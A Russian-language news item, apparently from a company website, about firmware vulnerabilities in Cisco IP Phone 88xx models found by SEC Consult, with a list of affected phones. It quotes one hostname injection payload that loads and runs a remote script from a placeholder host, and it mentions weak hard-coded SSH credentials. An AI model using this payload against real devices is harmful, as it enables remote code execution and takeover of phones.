+38/044/257-2444
+38/067/502-3306
+38/050/370-3627
Новости

Выявлен целый ряд проблем в программных оболочках систем интернет-телефонии Cisco VoIP Phone 8800

Выявлен целый ряд проблем в программных оболочках систем интернет-телефонии Cisco VoIP Phone 8800

Выявлен целый ряд проблем в программных оболочках популярных систем интернет-телефонии Cisco VoIP Phone 8800.

Как отмечается, одна из ключевых проблем заключается в возможности инъекции JavaScript-подобного кода с помощью встроенной клавиатуры T9. Иными словами, злоумышленник может использовать встроенную цифро-буквенную клавиатуру VoIP-телефона для ввода вредоносного кода.

Например, имя хоста телефона можно подменить на код примерно такого содержания:

hostname`><img src=http://$IP/sec.js onload=exec()>,

И он добросовестно скачает посторонний файл (sec.js) с удаленного источника и запустит его.

Помимо этого, в программной оболочке телефонов содержатся многочисленные устаревшие — и, следовательно, небезопасные — библиотеки кода, а также жестко закодированные реквизиты доступа. Они хранятся в виде хэшей в файле с красноречивым названием /etc/passwd; хэширование произведено с помощью устаревшего алгоритма UNIXMD5+salt, вдобавок, как оказалось, сами пароли очень слабые, так что вскрыть их и получить доступ к устройству через SSH оказалось весьма тривиальной задачей.

Обнаружить уязвимости удалось с помощью собственной платформы SEC Consult — IoT Inspector, предназначенной для поиска проблем в программных оболочках устройствах интернета вещей.

Был также произведен ручной анализ, позволивший выявить в «прошивке» телефонов незадокументированные, но легко эксплуатируемые функции, позволяющие потенциальному злоумышленнику выводить дампы памяти и, соответственно, красть данные.

Описанные уязвимости выявлены в программной оболочке Cisco IP Phone 88xx версии 2-0-1 ES-15 (ID: f86aa7612d9311e6).[1] По сведениям, предоставленных самой корпорацией Cisco, уязвимости затрагивают следующие модели:

  • IP Conference Phone 8832
  • IP Phone 8811
  • IP Phone 8841
  • IP Phone 8845
  • IP Phone 8851
  • IP Phone 8861
  • IP Phone 8865
  • Unified IP Conference Phone 8831
  • Wireless IP Phone 8821
  • Wireless IP Phone 8821-EX

Другие новости